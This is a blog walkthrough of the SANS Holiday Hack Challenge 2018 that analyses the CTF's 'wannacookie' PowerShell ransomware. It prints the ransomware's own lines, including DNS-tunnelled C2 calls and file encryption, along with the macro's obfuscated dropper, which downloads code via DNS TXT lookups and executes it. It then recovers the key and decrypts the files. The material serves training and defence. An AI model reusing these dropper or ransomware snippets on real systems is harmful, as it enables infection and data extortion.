Welcome to Part IV of the Sans Holiday Hack 2018 Walkthrough! This post will be devoted to analyzing the wannacookie.ps1 PowerShell ransomware that we obtained at the end of Question 9, as well as finishing the last few questions for the challenge. By analyzing the ransomware and its functionality, we'll have all the background information we need to finish the rest of the holiday hack challenge (and it's fun to look at PowerShell malware!)
If you would like to see the first three parts, you can find them here:
Let's get started!
Wannacookie PowerShell Ransomware
I've uploaded the full PowerShell code with comments up on Github, but I'll explain each function below, so we can see exactly what's going on and how everything is tied together.
This auxiliary function handles the encryption and decryption portion of the ransomware - in other words, the main cryptography action happens here. The $enc_it argument determines whether to encrypt or decrypt. Encrypted files will have the ".wannacookie" extension, and the files are encrypted/decrypted using AES-128-CBC (a 16-byte key).
When encrypting, the function does the following:
- Writes the Initialization Vector (IV) length (128 bits) in the first four bytes of the ciphertext
- Writes the IV itself, and then finally the ciphertext.
- The original file is removed, while the encrypted file is given the ".wannacookie" extension
When decrypting, the function does the following:
- Get IV length from the first 4 bytes of the file (technically reads in the first 3 bytes, but the first 4 area reserved for the IV length)
- Using the IV length, reads in the IV.
- Uses the key, IV value, and the remaining ciphertext to decrypt the data
- Ciphertext is removed, and the decrypted file is saved with the ".wannacookie" extension removed.
After processing, the key value is deleted.
function H2B (Hex String to Bytes)
This auxiliary function takes a hex string, such as "12AB4FEDDC", and returns an array of bytes for the decoded data.
function A2H (ASCII to Hex)
This auxiliary function takes a string, like "hello" and returns the corresponding hex-encoded string.
function B2H (Bytes to Hex)
This auxiliary function takes a byte array and converts it into the corresponding hex string.
function ti_rox (XOR It)
I'm assuming the function name is "xor_it" backwards, which lines up with what the function does. This function takes 2 hex strings, XORs the underlying byte representation together, and returns the results. Since XOR is commutative, you can swap the order of the arguments and still get the same result - in other words, X xor Y = Y xor X.
function B2G (Bytes to Gzipped)
This auxiliary function takes a byte array and returns the Gzip-compressed bytes. This function doesn't seem to actually be used in the malware's main function.
function G2B (Gzipped to Bytes)
This auxiliary function takes Gzip-compressed bytes and returns the decompressed bytes.
function sh1 (SHA1)
This auxiliary function returns the SHA-1 hash of a provided string. The returned hash is in the form of a hex string, which should be 40 characters long, since a SHA-1 hash value is 20 bytes long.
function p_k_e (Public Key Encrypt)
Given a key and X.509 certificate data, the function encrypts the key with the certificate public key and returns the hex encoding of the encrypted key. The malware uses this function to securely save the victim's symmetric encryption key for future transmission to the C2 server.
function e_n_d (Encrypt and Decrypt)
This function encrypts or decrypts the specified files using the specified key. This function acts as a wrapper that calls "e_d_file" for each file.
function g_o_dns (Get Object via DNS)
This function uses DNS tunneling to obtain data from the C2 domain erohetfanu.com. The tunneling protocol is as follows:
- Perform a TXT DNS lookup for the specified subdomain of erohetfanu.com. Typically, the subdomain is the hex-encoded representation of the object to query. For instance, a request for "server.crt" would look like "7365727665722E637274.erohetfanu.com"
- The TXT response will be an integer, which determines the number of subsequent TXT requests to <integer>.<subdomain>.erohetfanu.com.
- Each of the responses to the subsequent TXT lookups will provide information encoded as hex strings.
- The hex strings are concatenated and decoded to the underlying ASCII representation before being returned.
So assuming that a TXT lookup for 7365727665722E637274.erohetfanu.com (requesting the "server.crt" file from the C2 server) returns "5", the function will generate 5 more TXT lookups of the form:
- 0.7365727665722E637274.erohetfanu.com
- 1.7365727665722E637274.erohetfanu.com
- 2.7365727665722E637274.erohetfanu.com
- 3.7365727665722E637274.erohetfanu.com
- 4.7365727665722E637274.erohetfanu.com
function s_2_c (String to Chunks)
Splits up a string into chunks of specified size. By default, each chunk will be of length 32.
function snd_k (Send Key)
This function uses DNS tunneling to transmit the encrypted key for the victim to the C2 server. The DNS tunneling protocol is as follows:
- Split up the encrypted key into smaller substrings.
- Obtain an ID from the C2 server by taking the first substring and performing a TXT lookup for <first key substring>.6B6579666F72626F746964.erohetfanu.com. "6B6579666F72626F746964" decodes to "keyforbotid", and the ID is returned from the C2 server as the TXT response.
- Send the remaining key substrings through TXT lookups of the form <key ID>.<key substring>.6B6579666F72626F746964.erohetfanu.com
It looks like on the server-side, the IDs are used to keep track of which key belongs to which victim, and the malware on the victim will also keep track of the ID to check for ransom payment later on.
function wanc (WannaCookie main function)
This is the main function for the malware. The high-level steps are as follows:
- Check the kill switch conditions for early termination.
- Generate a random 16-byte key for AES-128 encryption and encrypt the key using the C2 server's certificate.
- Encrypt target files, and run web server on local host to process the ransom and handle decryption if ransom is paid.
First step - kill switch conditions
We have the following encoded value to start off the main function:
$S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000";
$S1 gets decoded to its underlying byte values and then un-GZipped, using the H2B and G2B functions, respectively. The result, "1f0f0202171d020c0b09075604070a0a", is XOR-ed with the DNS TXT lookup response for "6B696C6C737769746368.erohetfanu.com". "6B696C6C737769746368" is hex for "killswitch", and the TXT lookup returns "66667272727869657268667865666B73", which doesn't really decode to anything in ASCII (after all, it's used to XOR against the un-GZipped $S1 data. The XOR result is "7969707065656b697961612e61616179", which decodes to "yippeekiyaa.aaay". If we look at the first "if" statement in the main function, we see that this "yippeekiyaa.aaay" domain is used as one of the kill switches for the malware. The malware first checks if "yippeekiyaa.aaay" resolves (using the Resolve-DnsName cmdlet). If it resolves, then the malware exits prematurely.
if ($null -ne ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))).ToString() -ErrorAction 0 -Server 8.8.8.8))) {
return
};
The next two kill-switch conditions (combined in the second "if" statement) make sure that the system belongs to the KRINGLECASTLE domain and that port 8080 is not currently being used on the local host. Port 8080 is needed later on when the malware wants to run its ransom/decrypt service. If port 8080 is already in use, or if the system is not in the KRINGLECASTLE domain, then the malware terminates.
if ($(netstat -ano | Select-String "127.0.0.1:8080").length -ne 0 -or (Get-WmiObject Win32_ComputerSystem).Domain -ne "KRINGLECASTLE") {
return
};
We then come across this line:
$p_k = [System.Convert]::FromBase64String($(g_o_dns("7365727665722E637274") ) );The hex ascii string "7365727665722E637274" decodes to "server.crt". Requesting this hex string as a subdomain of erohetfanu.com will return "10", indicating that the victim machine wants to download the server.crt file from the C2 server and will take 10 DNS tunneling transactions to do so. The subsequent payload will be distributed in 10 TXT lookups of the form 0.7365727665722E637274.erohetfanu.com, 1.7365727665722E637274.erohetfanu.com, ... , 9.7365727665722E637274.erohetfanu.com.
The resulting payload is the following base-64 string:
MIIDXTCCAkWgAwIBAgIJAP6e19cw2sCjMA0GCSqGSIb3DQEBCwUAMEUxCzAJBgNVBAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQwHhcNMTgwODAzMTUwMTA3WhcNMTkwODAzMTUwMTA3WjBFMQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxIjc2VVG1wmzBi+LDNlLYpUeLHhGZYtgjKAye96h6pfrUqcLSvcuC+s5ywy1kgOrrx/pZh4YXqfbolt77x2AqvjGuRJYwa78EMtHtgq/6njQa3TLULPSpMTCQM9H0SWF77VgDRSReQPjaoyPo3TFbS/Pj1ThlqdTwPA0lu4vvXi5Kj2zQ8QnxYQBhpRxFPnB9Ak6G9EgeR5NEkz1CiiVXN37A/P7etMiU4QsOBipEcBvL6nEAoABlUHizWCTBBb9PlhwLdlsY1k7tx5wHzD7IhJ5P8tdksBzgrWjYxUfBreddg+4nRVVuKebE9Jq6zImCfu8elXjCJK8OLZP9WZWDQIDAQABo1AwTjAdBgNVHQ4EFgQUfeOgZ4f+kxU1/BN/PpHRuzBYzdEwHwYDVR0jBBgwFoAUfeOgZ4f+kxU1/BN/PpHRuzBYzdEwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAhdhDHQvW9Q+Fromk7n2G2eXkTNX1bxz2PS2Q1ZW393Z83aBRWRvQKt/qGCAi9AHg+NB/F0WMZfuuLgziJQTHQS+vvCn3bi1HCwz9w7PFe5CZegaivbaRD0h7V9RHwVfzCGSddUEGBH3j8q7thrKOxOmEwvHi/0ar+0sscBideOGq11hoTn74I+gHjRherRvQWJb4Abfdr4kUnAsdxsl7MTxM0f4t4cdWHyeJUH3yBuT6euId9rn7GQNi61HjChXjEfza8hpBC4OurCKcfQiVoY/0BxXdxgTygwhAdWmvNrHPoQyB5Q9XwgN/wWMtrlPZfy3AW9uGFj/sgJv42xcF+w==Decoding the base64 payload provides the DER-encoded data for an X.509 certificate, and this decoded data is placed into the byte array $p_k.
Then, the malware generates a random, non-zero 16-byte key, which is stored in $b_k (byte key):
$b_k = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([char]01..[char]255)) + 0..9 | sort {Get-Random})[0..15] -join '')) | ? {$_ -ne 0x00});
$h_k = $(B2H $b_k);
$k_h = $(sh1 $h_k);
$h_k (hex key) contains the hex representation of the 16-byte random key $b_k, and $k_h (key hash) contains the SHA-1 hash of the hex key.
Next, the malware encrypts the 16-byte key with the C2 server cert and grabs the hex representation of the encrypted key. The encrypted key hex string is 512 characters long for 256 bytes (2048 bit):
$p_k_e_k = (p_k_e $b_k $p_k).ToString();This hex representation is stored in $p_k_e_k (public-key-encrypted key) and is a 512-length string, for 256 bytes (2048 bits).
The malware sends the encrypted key to the C2 server and obtains an ID for this victim's key:
$c_id = (snd_k $p_k_e_k);The malware then records the current date and time, e.g. "Tuesday, January 1, 2019 12:34:56 AM"
$d_t = (($(Get-Date).ToUniversalTime() | Out-String) -replace "`r`n");Next, the malware searches recursively through the Desktop, Documents, Videos, Pictures, and Music directories to look for .elfdb files (ignoring .wannacookie files, which have already been encrypted). The malware then grabs the full filepaths of the targeted .elfdb files, ignoring directories, and stores them in the $f_c array.
[array]$f_c = $(Get-ChildItem *.elfdb -Exclude *.wannacookie -Path $($($env:userprofile+'\Desktop'),$($env:userprofile+'\Documents'),$($env:userprofile+'\Videos'),$($env:userprofile+'\Pictures'),$($env:userprofile+'\Music')) -Recurse | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname});
These targeted .elfdb files then get encrypted using the 16-byte key, and then the malware deletes the plaintext key information (the key itself and its hex representation).
e_n_d $b_k $f_c $true;
Clear-variable -Name "h_k";
Clear-variable -Name "b_k";
The malware then opens up a HTTP web server on localhost:8080 (this is why the malware checked for port 8080 being free for use). The web server processes the following requests:
- "GET /" - return home page, determined by the C2 server.
- "GET /decrypt" - this request should contain a key value in the URL parameter. The malware checks if this submitted key is the same one used to encrypt the files for this victim by comparing the SHA1 hashes of the key's hex strings. If the keys match up, then the malware searches for the encrypted files and decrypts them. The web server then presents the victim with the message "Files have been decrypted!". If the keys don't match up, then the web server presents the message "Invalid Key!".
- "GET /close" - The web server shuts down after presenting the message "Bye!"
- "GET /cookie_is_paid" - checks if the ransom has been paid or not by requesting the unique subdomain "<key_id>.72616e736f6d697370616964.erohetfanu.com", where "key_id" is $c_id from earlier. "72616e736f6d697370616964" decodes to "ransomispaid", which is the erohetfanu.com subdomain that handles these DNS tunneling transactions. The response from the C2 server will indicate whether or not the ransom was paid. If the C2 response length is 32 (I'm assuming this means the C2 sent back the entire hex string for the symmetric key), then the web server will present the C2 response (most likely the key) to the victim, which can then be used in the decrypt request. If the C2 response length is not 32, then the web server assumes the ransom has been unpaid and will present an "UNPAID" message along with the key ID and the date/time that the malware was run.
- Other requests are deemed non-supported and will return a 404 response code with the message "404 Not Found"
Now that we've gotten a good idea of how the malware works, let's dive into the questions!
Question 10
"After completing the prior question, Alabaster gives you a document he suspects downloads the malware. What is the domain name the malware in the document downloads from?"
If you recall from the end of Question 9, we get the link to a zip file, and we were also graciously provided with the zip file password "elves".
If you unzip the file, you'll see it's a .docm file, which means it's macro-enabled. If what the elves said is true, then this doc most likely contains a macro that infected the victim machines. Let's analyze it with "oletools", which will analyze Microsoft Office documents. Alabaster's hint for "Dropper Download" suggests using "olevba", which comes with "oletools", so we should be on the right track here.
For proper OpSec, we should avoid analyzing malware and potentially malicious files on your host machine. Virtual environments are great for this when configured properly.
Since PowerShell was mentioned, we'll want to load up a Windows VM - I used a Windows 10 VM for this exercise, which you can get from Microsoft. Once your VM is set up, download the ZIP file to it. Unzip it using the provided password "elves", and install "oletools".
Run the "olevba.exe CHOCOLATE_CHIP_COOKIE_RECIPE.docm" command to analyze the file. You'll get some interesting output:
![]() |
| olevba output for CHOCOLATE_CHIP_COOKIE_RECIPE.docm |
At the end of the output, we see a nice table that provides some additional explanations on some of the keywords, like "AutoOpen" and "Document_Open".
We see that the doc has a VBA macro that runs when the doc is opened, and the macro involves PowerShell commands. If we look at the PowerShell command, we see that it's using the following options:
- "-NoE", or "-NoExit", to avoid exiting after the startup commands
- "-Nop", or "-NoProfile", to avoid loading the PowerShell profile
- "-NonI", or "-NonInteractive", to avoid presenting an interactive prompt
- "-ExecutionPolicy Bypass" means that nothing gets blocked, and no warnings/prompts will appear.
The "-C" option will execute the following string as a command:
sal a New-Object; iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()
"sal" is the PowerShell alias for the "set-alias" cmdlet, and the above PowerShell code uses this cmdlet to set "a" to the "New-Object" cmdlet.
Next, the code will run the "iex" cmdlet, which is an alias for "Invoke-Expression". This cmdlet will take the output of the "a" ("New-Object") cmdlet inside the parentheses, and then execute the output as code. It looks like there's Base64-encoded data in there, which gets decoded and executed. By running the PowerShell command (except for the "iex" part) in the macro, you can obtain the code that actually gets executed:
function H2A($a) {$o; $a -split '(..)' | ? { $_ } | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o + $_}; return $o}; $f = "77616E6E61636F6F6B69652E6D696E2E707331"; $h = ""; foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)) {$h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings}; iex($(H2A $h | Out-string))
Looking at the code, it looks like our intuition from Question 9 was correct - the code performs the following:
- sends a DNS TXT lookup to 77616E6E61636F6F6B69652E6D696E2E707331.erohetfanu.com (the hex subdomain decodes to "wannacookie.min.ps1").
- Parses the response as an integer - this value will become the number of subsequent requests to download the payload, just like we saw in the powershell malware. Let's call this number X.
- Starting from 0 and going to X, send a TXT lookup to "<current sequence num>.77616E6E61636F6F6B69652E6D696E2E707331.erohetfanu.com". Keep track of the hex strings returned in the TXT responses and concatenate them together.
- After the X TXT requests, the payload should be complete. Decode the entire hex string payload and execute it.
So it looks like "erohetfanu.com" is the domain that the malware pulls from (makes sense, given that this domain is used throughout the powershell malware we just analyzed) - let's submit this as the answer to Question 10!
We'll get the following hint from the website:
Erohetfanu.com, I wonder what that means?
Unfortunately, Snort alerts show multiple domains, so blocking that one won't be effective.
I remember another ransomware in recent history had a killswitch domain that, when registered, would prevent any further infections.
Perhaps there is a mechanism like that in this ransomware? Do some more analysis and see if you can find a fatal flaw and activate it!
This is definitely a reference to the WannaCry ransomware. Our analysis of the malware source code should help us with the next question.
Question 11
"Analyze the full malware source code to find a kill-switch and activate it at the North Pole's domain registrar HoHoHo Daddy.
What is the full sentence text that appears on the domain registration success message (bottom sentence)?"
The source code breakdown has already been provided at the beginning of this post, so we will refer to that. Going back to the main method analysis, we discovered that the malware will exit prematurely if the domain "yippeekiyaa.aaay" resolves. By registering this domain and getting some DNS records assigned to it, we'll activate the malware kill-switch.
To double check, we can just run the relevant code segments from the powershell code to find the domain name:
$S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000";
$(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings)))
![]() |
| Running part of the code to find the kill switch domain. |
Looks like our analysis was right. Let's go to the registrar site at https://hohohodaddy.kringlecastle.com/index.html and register the domain!
We get the message: "Successfully registered yippeekiyaa.aaay!" This is our answer to question 11.
We see the following hint from the website:
Yippee-Ki-Yay! Now, I have a ma... kill-switch!
Now that we don't have to worry about new infections, I could sure use your L337 security skills for one last thing.
As I mentioned, I made the mistake of analyzing the malware on my host computer and the ransomware encrypted my password database.
Take this zip with a memory dump and my encrypted password database, and see if you can recover my passwords.
One of the passwords will unlock our access to the vault so we can get in before the hackers.
Make sure you submit the answer in your badge to get the badge hint for the next question!
Memory Strings
From: Alabaster Snowball
Pulling strings from a memory dump using the linux strings command requires you specify the -e option with the specific format required by the OS and processor. Of course, you could also use powerdump.
On to Question 12!
Question 12
"After activating the kill-switch domain in the last question, Alabaster gives you a zip file with a memory dump and encrypted password database. Use these files to decrypt Alabaster's password database. What is the password entered in the database for the Vault entry?"
Alabaster's hint from Question 11 suggests that we use PowerDump, a tool that allows us to find PowerShell code and variables from a Windows 10 PowerShell process dump. The Github readme page for the tool calls it "strings on steroids", which is a pretty accurate description. Go ahead and clone the git repo to obtain the PowerDump tool and get it set up on the machine with the zip file (I also recommend downloading the zip file to your Windows analysis VM so you can decrypt the password file at the end).
Alabaster's hint from Question 11 suggests that we use PowerDump, a tool that allows us to find PowerShell code and variables from a Windows 10 PowerShell process dump. The Github readme page for the tool calls it "strings on steroids", which is a pretty accurate description. Go ahead and clone the git repo to obtain the PowerDump tool and get it set up on the machine with the zip file (I also recommend downloading the zip file to your Windows analysis VM so you can decrypt the password file at the end).
Go ahead and run the PowerDump tool and follow the prompts to load in the memory dump.
![]() |
| Loading our powershell dump |
Once the dump file has been loaded, follow the menu instructions to process the dump.
![]() |
| Processing the dump. |
This could take a bit of time depending on your machine, but once the processing has finished, we're ready to start searching for PowerShell variables!
Remember that in the malware source code analysis, we saw that the malware generated a 16-byte symmetric key, took a SHA1 hash of its hex representation, and also encrypted the key with the C2 server's public key. Unfortunately, the malware deleted all copies of the plaintext key, which means we can't just look for length-32 hex strings and try them out as decryption keys (I tried that, but unfortunately the process dump was taken after the malware had deleted the plaintext key information. So none of the 32-character hex strings that I found worked).
It looks like the most we can find are the SHA-1 hash (stored in PowerShell as a length-40 hex string, since SHA1 hashes are 20 bytes), and the encrypted key. The encrypted key is represented in PowerShell as a length-512 hex string to represent 256 bytes. Let's go ahead and search for these using PowerDump.
Once the dump has finished processing, you'll be able to return to the PowerDump main menu. Select option 4 to search through the PowerShell variables. We'll see some filter options to use.
Let's go for the SHA1 hash first. We want to use the following filters (the length one is redundant due to the regex, but it's nice to practice using the different filters):
- len == 40
- matches "^[a-fA-F0-9]{40}$"
Enter these filters, and we'll see there's 1 PowerShell variable that PowerDump found that matches our criteria. We can go ahead and print that using the "print" option.
![]() |
| Finding the SHA1 hash of the key. |
So the SHA1 hash must be "b0e59a5e0f00968856f22cff2d6226697535da5b"
Select "clear" to remove our filters, and let's move on to finding the encrypted key hex string. Our new filters will be:
- len == 512
- matches "^[a-fA-F0-9]{512}$"
Again, we find that only 1 discovered PowerShell variable matches this criteria. Go ahead and print it as before, and save the value. We can go ahead and exit PowerDump now.
![]() |
| Finding the encrypted key. |
Looks like the hex string for the encrypted key is:
3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005437dc44b8464dca05680d531b7a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b43aab698b537d2df2f401c2a09fbe24c5833d2c5861139c4b4d3147abb55e671d0cac709d1cfe86860b6417bf019789950d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b379be44029ca4321e60407d44e6e381691dae5e551cb2354727ac257d977722188a946c75a295e714b668109d75c00100b94861678ea16f8b79b756e45776d29268af1720bc49995217d814ffd1e4b6edce9ee57976f9ab398f9a8479cf911d7d47681a77152563906a2c29c6d12f971
Let's convert the hex string to the underlying bytes and save them to a file.
echo -n $key | xxd -r -p > encryptedkeyBut what can we do with a key that was encrypted with the C2 server's public key? We'd need to find the associated private key.
Remember how the malware would download data from the C2 server by performing a DNS lookup for a special hex-ASCII subdomain of erohetfanu.com? In particular, the malware grabbed the C2 server's certificate using the "g_o_dns" method and passing in the hex string for "server.crt".
What if we try the same thing with the hex representation of "server.key"? The hex representation of "server.key" is "7365727665722E6B6579", so we would run the following PowerShell command in our Windows VM (don't forget to declare the malware functions in your PowerShell environment!):
$serverkey = g_o_dns ("7365727665722E6B6579")
We will obtain the following value:
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDEiNzZVUbXCbMG
L4sM2UtilR4seEZli2CMoDJ73qHql+tSpwtK9y4L6znLDLWSA6uvH+lmHhhep9ui
W3vvHYCq+Ma5EljBrvwQy0e2Cr/qeNBrdMtQs9KkxMJAz0fRJYXvtWANFJF5A+Nq
jI+jdMVtL8+PVOGWp1PA8DSW7i+9eLkqPbNDxCfFhAGGlHEU+cH0CTob0SB5Hk0S
TPUKKJVc3fsD8/t60yJThCw4GKkRwG8vqcQCgAGVQeLNYJMEFv0+WHAt2WxjWTu3
HnAfMPsiEnk/y12SwHOCtaNjFR8Gt512D7idFVW4p5sT0mrrMiYJ+7x6VeMIkrw4
tk/1ZlYNAgMBAAECggEAHdIGcJOX5Bj8qPudxZ1S6uplYan+RHoZdDz6bAEj4Eyc
0DW4aO+IdRaD9mM/SaB09GWLLIt0dyhRExl+fJGlbEvDG2HFRd4fMQ0nHGAVLqaW
OTfHgb9HPuj78ImDBCEFaZHDuThdulb0sr4RLWQScLbIb58Ze5p4AtZvpFcPt1fN
6YqS/y0i5VEFROWuldMbEJN1x+xeiJp8uIs5KoL9KH1njZcEgZVQpLXzrsjKr67U
3nYMKDemGjHanYVkF1pzv/rardUnS8h6q6JGyzV91PpLE2I0LY+tGopKmuTUzVOm
Vf7sl5LMwEss1g3x8gOh215Ops9Y9zhSfJhzBktYAQKBgQDl+w+KfSb3qZREVvs9
uGmaIcj6Nzdzr+7EBOWZumjy5WWPrSe0S6Ld4lTcFdaXolUEHkE0E0j7H8M+dKG2
Emz3zaJNiAIX89UcvelrXTV00k+kMYItvHWchdiH64EOjsWrc8co9WNgK1XlLQtG
4iBpErVctbOcjJlzv1zXgUiyTQKBgQDaxRoQolzgjElDG/T3VsC81jO6jdatRpXB
0URM8/4MB/vRAL8LB834ZKhnSNyzgh9N5G9/TAB9qJJ+4RYlUUOVIhK+8t863498
/P4sKNlPQio4Ld3lfnT92xpZU1hYfyRPQ29rcim2c173KDMPcO6gXTezDCa1h64Q
8iskC4iSwQKBgQCvwq3f40HyqNE9YVRlmRhryUI1qBli+qP5ftySHhqy94okwerE
KcHw3VaJVM9J17Atk4m1aL+v3Fh01OH5qh9JSwitRDKFZ74JV0Ka4QNHoqtnCsc4
eP1RgCE5z0w0efyrybH9pXwrNTNSEJi7tXmbk8azcdIw5GsqQKeNs6qBSQKBgH1v
sC9DeS+DIGqrN/0tr9tWklhwBVxa8XktDRV2fP7XAQroe6HOesnmpSx7eZgvjtVx
moCJympCYqT/WFxTSQXUgJ0d0uMF1lcbFH2relZYoK6PlgCFTn1TyLrY7/nmBKKy
DsuzrLkhU50xXn2HCjvG1y4BVJyXTDYJNLU5K7jBAoGBAMMxIo7+9otN8hWxnqe4
Ie0RAqOWkBvZPQ7mEDeRC5hRhfCjn9w6G+2+/7dGlKiOTC3Qn3wz8QoG4v5xAqXE
JKBn972KvO0eQ5niYehG4yBaImHH+h6NVBlFd0GJ5VhzaBJyoOk+KnOnvVYbrGBq
UdrzXvSwyFuuIqBlkHnWSIeC
-----END PRIVATE KEY-----
![]() |
| Obtaining the C2 server's private key. |
Save this key in a file - this is the C2 server's private key in PEM format. While we're at it, let's also get the "server.crt" file that the malware obtained to encrypt the key in the first place - we'll use this certificate to verify that the "server.key" file we obtained is the right key.
Obtain the C2 public certificate and convert to PEM format:
$servercrt = B2H ([System.Convert]::FromBase64String($(g_o_dns("7365727665722E637274"))))
# Save hex string and convert to raw bytes and then to PEM.
xxd -p -r server_crt_hex_file > server.crt.der
openssl x509 -inform der -outform pem -in server.crt.der -out server.crt.pem
Verify that the private key belongs to the cert:
openssl x509 -noout -modulus -in server.crt.pem | openssl md5The MD5 hashes of "f5d6eee25830f8877e20fe4bf5a1d9ad" match up, so we are good to go!
openssl rsa -noout -modulus -in server.key | openssl md5
Now we can decrypt the symmetric key using the C2 server's private key. But there's a slight catch - the symmetric key was encrypted using OAEP padding in RSA in the p_k_e function using the below PowerShell code:
$encKey = $cert.PublicKey.Key.Encrypt($key_bytes, $true);Microsoft's documentation for the RSACryptoServiceProvider class will explain the Encrypt method in more detail, but essentially the $true argument will perform RSA encryption using OAEP padding rather than the PKCS #1 v1.5 padding.
So when we use the openssl framework to decrypt the symmetric key, we'll have to use the "-oaep" option to handle this:
openssl rsautl -decrypt -oaep -in encryptedkey -out decryptedkey -inkey server.keyLet's verify the decrypted key by taking the hex representation and calculating the SHA1 hash.
"xxd -p decryptedkey" returns "fbcfc121915d99cc20a3d3d5d84f8308", which is the hex representation, and "echo -n $(xxd -p decryptedkey) | openssl dgst -sha1" gives us the SHA1 value of "b0e59a5e0f00968856f22cff2d6226697535da5b". Looking back, this matches the SHA1 hash value that we found from PowerDump, so this has to be our key!
Let's go back to our Windows VM and decrypt the .elfdb file using the PowerShell functions that the malware provided:
$akey = $(H2B "fbcfc121915d99cc20a3d3d5d84f8308");
# String array containing the full filepaths of the encrypted
# files (with the .wannacookie extension).
[array]$f_c = $(Get-ChildItem -Path $($env:userprofile) -Recurse -Filter *.wannacookie | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname});
# Decrypt the encrypted files.
e_n_d $akey $f_c $false;
![]() |
| Using the malware code and key to decrypt the file. |
![]() |
| Successful decrypt! |
The decrypted "alabaster_passwords.elfdb" file is a SQLite3 database file, so I installed "sqlite3" on my Windows VM to analyze it. The following sqlite commands will load in the database file and find the password we need to answer Question 12:
sqlite> .open C:\\Users\\IEUser\\Downloads\\alabaster_passwords.elfdb
sqlite> .tables
sqlite> .schema passwords
sqlite> select * from passwords where lower(usedfor) = lower('vault');
![]() |
| Obtaining the password from the decrypted database file. |
We get the following hints from the website:
You have some serious skills, of that I have no doubt.
There is just one more task I need you to help with.
There is a door which leads to Santa's vault. To unlock the door, you need to play a melody.
If you submit the answer in-game through your avatar, you get these additional hints from Alabster (from talking to him in-game and through accessing the hints through your avatar badge):
I'm seriously impressed by your security skills. How could I forget that I used Rachmaninoff as my musical password?
Really, it's Mozart. And it should be in the key of D, not E.
On to the penultimate question!
Question 13
Use what you have learned from previous challenges to open the door to Santa's vault. What message do you get when you unlock the door?
If you look at the password that we obtained from Question 12, you'll see that the password is really a sequence of music notes:
E, D#, E, D#, E, E, D#, E, F#, G#, F#, G#, A, B, A#, B, A#, B
If you try entering these notes, you'll get the message "Now that's a good tune! But the key isn't quite right..."
Now Alabaster's hint makes sense! The password as-is contains the melody in the key of E, but in order to unlock the vault, we need to transpose the melody into the key of D. For those not as familiar with music theory, the PDF document we obtained from Question 8 provides a good primer on musical tones and transposition (shifting the tones of a melody). To transpose the melody from the key of E to the key of D, we'll need to shift all the notes down one whole step. E becomes D, D# becomes C#, F# becomes E, etc. So our transposed melody (and hopefully the correct password to the vault!) will look like the following:
D, C#, D, C#, D, D, C#, D, E, F#, E, F#, G, A, G#, A, G#, A
Enter this melody, and we'll unlock the vault with the message "You have unlocked Santa's vault!", which is our answer to question 13.
Entering the message on the main holiday hack website will provide the following dialogue:
Alabaster:
I'm seriously impressed by your security skills!
How could I forget that I used Rachmaninoff as my musical password?
Of course I transposed it it before I entered it into my database for extra security.
Alabaster steps aside, revealing two familiar, smiling faces.
Hans:
It’s a pleasure to see you again.
Congratulations.
Santa:
You DID IT! You completed the hardest challenge. You see, Hans and the soldiers work for ME. I had to test you. And you passed the test!
You WON! Won what, you ask? Well, the jackpot, my dear! The grand and glorious jackpot!
You see, I finally found you!
I came up with the idea of KringleCon to find someone like you who could help me defend the North Pole against even the craftiest attackers.
That’s why we had so many different challenges this year.
We needed to find someone with skills all across the spectrum.
I asked my friend Hans to play the role of the bad guy to see if you could solve all those challenges and thwart the plot we devised.
And you did!
Oh, and those brutish toy soldiers? They are really just some of my elves in disguise.
See what happens when they take off those hats?
Santa continues:
Based on your victory… next year, I’m going to ask for your help in defending my whole operation from evil bad guys.
And welcome to my vault room. Where's my treasure? Well, my treasure is Christmas joy and good will.
You did such a GREAT job! And remember what happened to the people who suddenly got everything they ever wanted?
They lived happily ever after.
Looks like this gives us the answer to question 14 - Santa!
Question 14
Enter "Santa" as the answer to receive the message: "Congratulations on solving the SANS Holiday Hack Challenge 2018!"
We did it! Thank you for joining me on this wonderful adventure, and I'm super excited to see what SANS has in store for 2019!

















No comments:
Post a Comment